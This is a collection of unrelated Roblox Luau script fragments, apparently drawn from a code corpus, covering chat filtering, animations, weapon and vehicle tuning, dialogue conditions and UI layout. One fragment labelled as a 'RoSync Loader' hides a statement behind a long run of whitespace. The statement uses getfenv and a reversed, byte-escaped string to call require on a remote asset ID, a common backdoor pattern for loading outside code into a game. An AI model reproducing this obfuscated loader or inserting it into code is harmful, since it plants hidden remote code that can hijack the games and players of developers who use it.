Roblox/luau_corpus huggingface dataset:
--// Return values: bool filterSuccess, bool resultIsFilterObject, variant result
function methods:InternalApplyRobloxFilterNewAPI(speakerName, message, textFilterContext) --// USES FFLAG
	local alwaysRunFilter = false
	local runFilter = false
	if (alwaysRunFilter or runFilter) then

		local fromSpeaker = self:GetSpeaker(speakerName)
		if fromSpeaker == nil then
			return false, nil, nil
		end

		local fromPlayerObj = fromSpeaker:GetPlayer()
		if fromPlayerObj == nil then
			return true, false, message
		end

		if allSpaces(message) then
			return true, false, message
		end

		local success, filterResult = pcall(function()
			local ts = game:GetService("TextService")
			local result = ts:FilterStringAsync(message, fromPlayerObj.UserId, textFilterContext)
			return result
		end)
		if (success) then
			return true, true, filterResult
		else
			warn("Error filtering message:", message, filterResult)
			self:InternalNotifyFilterIssue()
			return false, nil, nil
		end
	end

	--// Simulate filtering latency.
	wait()
	return true, false, message
end

function methods:InternalDoMessageFilter(speakerName, messageObj, channel)
	local filtersIterator = self.FilterMessageFunctions:GetIterator()

	for funcId, func, priority in filtersIterator do
		local success, errorMessage = pcall(function()
			func(speakerName, messageObj, channel)
		end)

		if not success then
			warn(string.format("DoMessageFilter Function '%s' failed for reason: %s", funcId, errorMessage))
		end
	end
end

function methods:InternalDoProcessCommands(speakerName, message, channel)
	local commandsIterator = self.ProcessCommandsFunctions:GetIterator()

	for funcId, func, priority in commandsIterator do
		local success, returnValue = pcall(function()
			local ret = func(speakerName, message, channel)
			if type(ret) ~= "boolean" then
				error("Process command functions must return a bool")
			end
			return ret
		end)

		if not success then
			warn(string.format("DoProcessCommands Function '%s' failed for reason: %s", funcId, returnValue))
		elseif returnValue then
			return true
		end
	end

	return false
end

function methods:InternalGetUniqueMessageId()
	local id = self.MessageIdCounter
	self.MessageIdCounter = id + 1
	return id
end

function methods:InternalAddSpeakerWithPlayerObject(speakerName, playerObj, fireSpeakerAdded)
	if (self.Speakers[speakerName:lower()]) then
		error("Speaker \"" .. speakerName .. "\" already exists!")
	end

	local speaker = Speaker.new(self, speakerName)
	speaker:InternalAssignPlayerObject(playerObj)
	self.Speakers[speakerName:lower()] = speaker

	if fireSpeakerAdded then
		local success, err = pcall(function() self.eSpeakerAdded:Fire(speakerName) end)
		if not success and err then
			print("Error adding speaker: " ..err)
		end
	end

	return speaker
end

function methods:InternalFireSpeakerAdded(speakerName)
	local success, err = pcall(function() self.eSpeakerAdded:Fire(speakerName) end)
	if not success and err then
		print("Error firing speaker added: " ..err)
	end
end
-- Streamable
-- Stephen Leitnick
-- November 08, 2021


return {
	Streamable = require(script.Streamable);
	StreamableUtil = require(script.StreamableUtil);
}
-- RCM Settings V

self.WeaponWeight		= 4 -- Weapon weight must be enabled in the Config module

self.ShellEjectionMod	= true

self.Holster			= true
self.HolsterPoint		= "Torso"
self.HolsterCFrame		= CFrame.new(0.65,0.1,-0.8) * CFrame.Angles(math.rad(-90),math.rad(15),math.rad(75))

self.FlashChance = 0 -- 0 = no muzzle flash, 10 = Always muzzle flash

self.ADSEnabled 		= { -- Ignore this setting if not using an ADS Mesh
	true, -- Enabled for primary sight
	false} -- Enabled for secondary sight (T)

self.ExplosiveAmmo		= false -- Enables explosive ammo
self.ExplosionRadius	= 70 -- Radius of explosion damage in studs
self.ExplosionType		= "Default" -- Which explosion effect is used from the HITFX Explosion folder
self.IsLauncher			= true -- For RPG style rocket launchers

self.EjectionOverride	= nil -- Don't touch unless you know what you're doing with Vector3s

return self
--[[
	Manages batch updating of spring objects.
]]

local RunService = game:GetService("RunService")

local updateAll = require(script.Parent.Parent.Parent.Dependencies).updateAll
local packType = require(script.Parent.packType)
local springCoefficients = require(script.springCoefficients)

type Set<T> = {[T]: any}

local SpringScheduler = {}

local EPSILON = 0.0001
local activeSprings = {}
local lastUpdateTime = os.clock()

function SpringScheduler.add(spring: any)
	-- we don't necessarily want to use the most accurate time - here we snap to
	-- the last update time so that springs started within the same frame have
	-- identical time steps
	spring._lastSchedule = lastUpdateTime
	spring._startDisplacements = {}
	spring._startVelocities = {}
	for index, goal in ipairs(spring._springGoals) do
		spring._startDisplacements[index] = spring._springPositions[index] - goal
		spring._startVelocities[index] = spring._springVelocities[index]
	end

	activeSprings[spring] = true
end

function SpringScheduler.remove(spring)
	activeSprings[spring] = nil
end


local function updateAllSprings()
	local springsToSleep = {}
	lastUpdateTime = os.clock()

	for spring in activeSprings do
		local posPos, posVel, velPos, velVel = springCoefficients(lastUpdateTime - spring._lastSchedule, spring._currentDamping, spring._currentSpeed)

		local positions = spring._springPositions
		local velocities = spring._springVelocities
		local startDisplacements = spring._startDisplacements
		local startVelocities = spring._startVelocities
		local isMoving = false

		for index, goal in ipairs(spring._springGoals) do
			local oldDisplacement = startDisplacements[index]
			local oldVelocity = startVelocities[index]
			local newDisplacement = oldDisplacement * posPos + oldVelocity * posVel
			local newVelocity = oldDisplacement * velPos + oldVelocity * velVel

			if math.abs(newDisplacement) > EPSILON or math.abs(newVelocity) > EPSILON then
				isMoving = true
			end

			positions[index] = newDisplacement + goal
			velocities[index] = newVelocity
		end

		if not isMoving then
			springsToSleep[spring] = true
		end
	end

	for spring in pairs(activeSprings) do
		spring._currentValue = packType(spring._springPositions, spring._currentType)
		updateAll(spring)
	end

	for spring in pairs(springsToSleep) do
		activeSprings[spring] = nil
	end
end

RunService:BindToRenderStep(
	"__FusionSpringScheduler",
	Enum.RenderPriority.First.Value,
	updateAllSprings
)

return SpringScheduler
-- If you want to know how to retexture a hat, read this:  http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388








debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
		debounce = false
		h = Instance.new("Hat")
		p = Instance.new("Part")
		h.Name = "Hat"   -- It doesn't make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat.
		p.Parent = h
		p.Position = hit.Parent:findFirstChild("Head").Position
		p.Name = "Handle" 
		p.formFactor = 0
		p.Size = Vector3.new(-0,-0,-1) 
		p.BottomSurface = 0 
		p.TopSurface = 0 
		p.Locked = true 
		script.Parent.Mesh:clone().Parent = p
		h.Parent = hit.Parent
		h.AttachmentPos = Vector3.new(0,-0.05,0.22) -- Change these to change the positiones of your hat, as I said earlier.
		wait(5)		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder)
	local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
	return plrData.Classes.Base.Smasher.Obtained.Value == true and plrData.Classes.Base.Smasher.HeavyWeaponTraining.Value == false
end
-- Events
local Events = ReplicatedStorage:FindFirstChild("Events")
local LoadCharacter = Events:FindFirstChild("LoadCharacter")
local LoadSpeeder = Events:FindFirstChild("LoadSpeeder")
-- DeltaRager & rdmpted
-- 26/05/2021


local leaderstats	= require(script.Leaderstats)




wait(2)

local function playerJoin(player)
	print("Player has joined")
	
	leaderstats:CreateStats(player)
	
	
	local teamColor = player.TeamColor
	local function characterAdded(character)
		local humanoid 	= character:WaitForChild("Humanoid", 60)
		humanoid.Died:Connect(function()
		
		end)
	end
	characterAdded(player.Character or player.CharacterAdded:Wait())
	player.CharacterAdded:Connect(characterAdded)
end



game.Players.PlayerAdded:Connect(playerJoin)

for _,player in pairs(game.Players:GetPlayers()) do
	spawn(function()
		playerJoin(player)
	end)
end
--Light off
	src.Parent.Strobe.Value.Value = 0
	light.Value = false
	else
	src.Parent.Strobe.Value.Value = 1
	light.Value = true
	return
	end
end
end)
src.Parent.ChildRemoved:connect(function(child)
	if child.Name=="SeatWeld" then 
		src:Stop()
		script.Parent:Destroy()
	end
end)
--[=[
	@within TableUtil
	@function DecodeJSON
	@param value any
	@return string

	Proxy for [`HttpService:JSONDecode`](https://developer.roblox.com/en-us/api-reference/function/HttpService/JSONDecode).
]=]
local function DecodeJSON(str: string): any
	return HttpService:JSONDecode(str)
end


TableUtil.Copy = Copy
TableUtil.Sync = Sync
TableUtil.Reconcile = Reconcile
TableUtil.SwapRemove = SwapRemove
TableUtil.SwapRemoveFirstValue = SwapRemoveFirstValue
TableUtil.Map = Map
TableUtil.Filter = Filter
TableUtil.Reduce = Reduce
TableUtil.Assign = Assign
TableUtil.Extend = Extend
TableUtil.Reverse = Reverse
TableUtil.Shuffle = Shuffle
TableUtil.Sample = Sample
TableUtil.Flat = Flat
TableUtil.FlatMap = FlatMap
TableUtil.Keys = Keys
TableUtil.Values = Values
TableUtil.Find = Find
TableUtil.Every = Every
TableUtil.Some = Some
TableUtil.Truncate = Truncate
TableUtil.Zip = Zip
TableUtil.Lock = Lock
TableUtil.IsEmpty = IsEmpty
TableUtil.EncodeJSON = EncodeJSON
TableUtil.DecodeJSON = DecodeJSON

return TableUtil
-- загрузка текста

while game.Workspace.LogString.Value=="" do
	wait(1)
end
--[[Steering]]
	Tune.SteerInner		= 45		-- Inner wheel steering angle (in degrees)
	Tune.SteerOuter		= 40		-- Outer wheel steering angle (in degrees)
	Tune.SteerSpeed		= .05		-- Steering increment per tick (in degrees)
	Tune.ReturnSpeed	= .1		-- Steering increment per tick (in degrees)
	Tune.SteerDecay		= 320		-- Speed of gradient cutoff (in SPS)
	Tune.MinSteer		= 10		-- Minimum steering at max steer decay (in percent)
	Tune.MSteerExp		= 1			-- Mouse steering exponential degree
	
	--Steer Gyro Tuning
	Tune.SteerD			= 1000		-- Steering Dampening
	Tune.SteerMaxTorque	= 50000		-- Steering Force
	Tune.SteerP			= 100000	-- Steering Aggressiveness
--[[ Last synced 9/30/2022 11:50 || RoSync Loader ]]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 10 -- cooldown for use of the tool again

ZoneModelName = "Hand zone" -- name the zone model

MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
-- Computes the look-angle to be used by the client.
-- If no lookVector is provided, the camera's lookVector is used instead.
-- useDir (-1 or 1) can be given to force whether the direction is flipped or not.

function CharacterRealism:ComputeLookAngle(lookVector, useDir)
	local pitch, yaw, dir = 0, 0, 1
	
	if not lookVector then
		local camera = workspace.CurrentCamera
		lookVector = camera.CFrame.LookVector
	end
	
	if lookVector then
		local character = self.Player.Character
		local rootPart = character and character:FindFirstChild("HumanoidRootPart")
		
		if rootPart and rootPart:IsA("BasePart") then
			local cf = rootPart.CFrame
			pitch = -cf.RightVector:Dot(lookVector)
			
	
		end
		
		yaw = lookVector.Y
	end
	
	if useDir then
		dir = useDir
	end
	
	pitch *= dir
	yaw *= dir
	
	return pitch, yaw
end
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder)
	local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
	return plrData.Character.Purity.Value < -25
end
--[[
	Constructs special keys for property tables which connect property change
	listeners to an instance.
]]

local parseError = require(script.Parent.Parent.Dependencies).utility.parseError

local function OnChange(propertyName: string)
	local changeKey = {}
	changeKey.type = "SpecialKey"
	changeKey.kind = "OnChange"
	changeKey.stage = "observer"

	function changeKey:apply(callback: (property: unknown) -> (), applyTo: Instance, cleanupTasks: {})
		local ok, event = pcall(applyTo.GetPropertyChangedSignal, applyTo, propertyName)
		
		if not ok then
			parseError("cannotConnectChange", applyTo.ClassName, propertyName)
		elseif typeof(callback) ~= "function" then
			parseError("invalidChangeHandler", propertyName)
		else
			table.insert(cleanupTasks, event:Connect(function()
				callback((applyTo :: any)[propertyName])
			end))
		end
	end

	return changeKey
end

return OnChange
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 20 -- cooldown for use of the tool again

ZoneModelName = "Fatal void" -- name the zone model

MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
-- Implement Signal:Wait() in terms of a temporary connection using
-- a Signal:Connect() which disconnects itself.
function Signal:Wait()
	local waitingCoroutine = coroutine.running()
	local cn;
	cn = self:Connect(function(...)
		cn:Disconnect()
		task.spawn(waitingCoroutine, ...)
	end)
	return coroutine.yield()
end


return Signal
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------

local toolAnimName = ""
local toolAnimTrack = nil
local toolAnimInstance = nil
local currentToolAnimKeyframeHandler = nil

function toolKeyFrameReachedFunc(frameName)
	if (frameName == "End") then
		playToolAnimation(toolAnimName, 0.0, zombie)
	end
end


function playToolAnimation(animName, transitionTime, humanoid, priority)	 		
		local idx = rollAnimation(animName)
		local anim = animTable[animName][idx].anim

		if (toolAnimInstance ~= anim) then
			
			if (toolAnimTrack ~= nil) then
				toolAnimTrack:Stop()
				toolAnimTrack:Destroy()
				transitionTime = 0
			end
					
			-- load it to the humanoid; get AnimationTrack
			toolAnimTrack = humanoid:LoadAnimation(anim)
			if priority then
				toolAnimTrack.Priority = priority
			end
			 
			-- play the animation
			toolAnimTrack:Play(transitionTime)
			toolAnimName = animName
			toolAnimInstance = anim

			currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
		end
end

function stopToolAnimations()
	local oldAnim = toolAnimName

	if (currentToolAnimKeyframeHandler ~= nil) then
		currentToolAnimKeyframeHandler:disconnect()
	end

	toolAnimName = ""
	toolAnimInstance = nil
	if (toolAnimTrack ~= nil) then
		toolAnimTrack:Stop()
		toolAnimTrack:Destroy()
		toolAnimTrack = nil
	end

	return oldAnim
end
---------------------------------
---Day/Night Script for Blocks---
---------------------------------
b = script.Parent

local oh,om = 6,10	-- Open Time (hours,minutes) DON'T TOUCH!
local ch,cm = 17,30	-- Close Time (hours, minutes) DON'T TOUCH!

local l = game:service("Lighting")
if (om == nil) then om = 0 end
if (cm == nil) then cm = 0 end


function TimeChanged()
	local ot = (oh + (om/60)) * 60
	local ct = (ch + (cm/60)) * 60
	if (ot < ct) then
		if (l:GetMinutesAfterMidnight() >= ot) and (l:GetMinutesAfterMidnight() <= ct) then
b.Material = ("SmoothPlastic")
b.Color = Color3.fromRGB(248, 248, 248)
		else
b.Material = ("Neon")
b.Color = Color3.fromRGB(150, 150, 150)
		end
	elseif (ot > ct) then
		if (l:GetMinutesAfterMidnight() >= ot) or (l:GetMinutesAfterMidnight() <= ct) then
b.Material = ("SmoothPlastic")
b.Color = Color3.fromRGB(248, 248, 248)
		else
b.Material = ("Neon")
b.Color = Color3.fromRGB(150, 150, 150)
		end
	end
end

TimeChanged()
game.Lighting.Changed:connect(function(property)
			if (property == "TimeOfDay") then
				TimeChanged()
			end
		end)
--[=[
	Gets the value of the property object.

	:::caution
	This value might not be ready right away. Use `OnReady()` or `IsReady()`
	before calling `Get()`. If not ready, this value will return `nil`.
	:::
]=]
function ClientRemoteProperty:Get(): any
	return self._value
end
---
local  Paint = false
	
script.Parent.MouseButton1Click:connect(function()
	Paint = not Paint
	handler:FireServer("Cork",Paint)
end)
-- Custom Services
local database = require(game:GetService("ServerScriptService").Database.DatabaseHandler)
--[[
	Package link auto-generated by Rotriever
]]
local PackageIndex = script.Parent.Parent.Parent

return require(PackageIndex["Roact-e3b370a8-41af74df"].Packages["Roact"])
-- Gathers up all the scripts in the DevModule. We use the resulting array to
-- enable all scripts in one step.
local function getDevModuleScripts(devModule: Folder)
    local scripts = {}
    for _, descendant in ipairs(devModule:GetDescendants()) do
        if descendant.Parent == script.Parent then
            continue
        end

        if descendant:IsA("Script") or descendant:IsA("LocalScript") then
            table.insert(scripts, descendant)
        end
    end
    return scripts
end
--local Energia = Variaveis.Energia
local Ferido = Stances.Ferido
local Caido = Stances.Caido -- knocked out
local ouch = Caido
local rodeath = Stances.rodeath


local o2 = Stances.o2
local dead = Stances.dead -- humanoid dead
local life = Stances.life



local Ragdoll = require(game.ReplicatedStorage.ACS_Engine.Modulos.Ragdoll)
local Config = require(game.ReplicatedStorage.ACS_Engine.ServerConfigs.Config)
-- Set Pet Canvas Size --
function PetSrollingFrame:SetPetCanvasSize(searchOn)
	PetUI.Size = UDim2.new(0.515, 0, 0.745, 0)
	
	local PADDING, SIZE, MaxCells = getSizes()
	local AbsoluteSize = ScrollingFrame.AbsoluteSize

    local NewPadding = PADDING * AbsoluteSize
    NewPadding = UDim2.new(0, NewPadding.X, 0, NewPadding.Y)
    local NewSize = SIZE * AbsoluteSize
    NewSize = UDim2.new(0, NewSize.X, 0, NewSize.Y)
	
    UIGridLayout.CellPadding = NewPadding
    UIGridLayout.CellSize = NewSize
	
	local children = ScrollingFrame:GetChildren()
	local items = 0
	if searchOn == true then
		for _, v in pairs(PetsFrame:GetChildren()) do
			if v:IsA("ImageLabel") and v:FindFirstChild("Data") then
				if v.Visible == true then
					items = items + 1
				end
			end
		end
	else
		items = (#children) - 1
	end
	local frameSizeY = ScrollingFrame.AbsoluteSize.Y
	local ySize = UIGridLayout.CellSize.Y.Offset
	local yPadding = UIGridLayout.CellPadding.Y.Offset
	UIGridLayout.FillDirectionMaxCells = MaxCells
	local rows = math.ceil(items / UIGridLayout.FillDirectionMaxCells)
	local pixels = rows * ySize + (rows - 1) * yPadding
	ScrollingFrame.CanvasSize = UDim2.new(0, 0, 0, (pixels + 5))
	
	if PetUI.Visible == false then
		PetUI.Size = UDim2.new(0, 0, 0, 0)
	end
end

return PetSrollingFrame
-- / Configuration / --
local Configurations = GameAssets.Configurations
local PlayerStatsConfiguration = Configurations.PlayerStatsConfiguration
--//Setup//--
local PoopHolder = game.Workspace.PoopHolder
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder)
	local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
	return plrData.Money.Gold.Value >= 40
end
--= Variables =--

local plr = game.Players.LocalPlayer
repeat wait() until plr.Character --Getting the player
local chr = plr.Character
hum = chr:FindFirstChild("Humanoid")
gui = script:WaitForChild("Shading")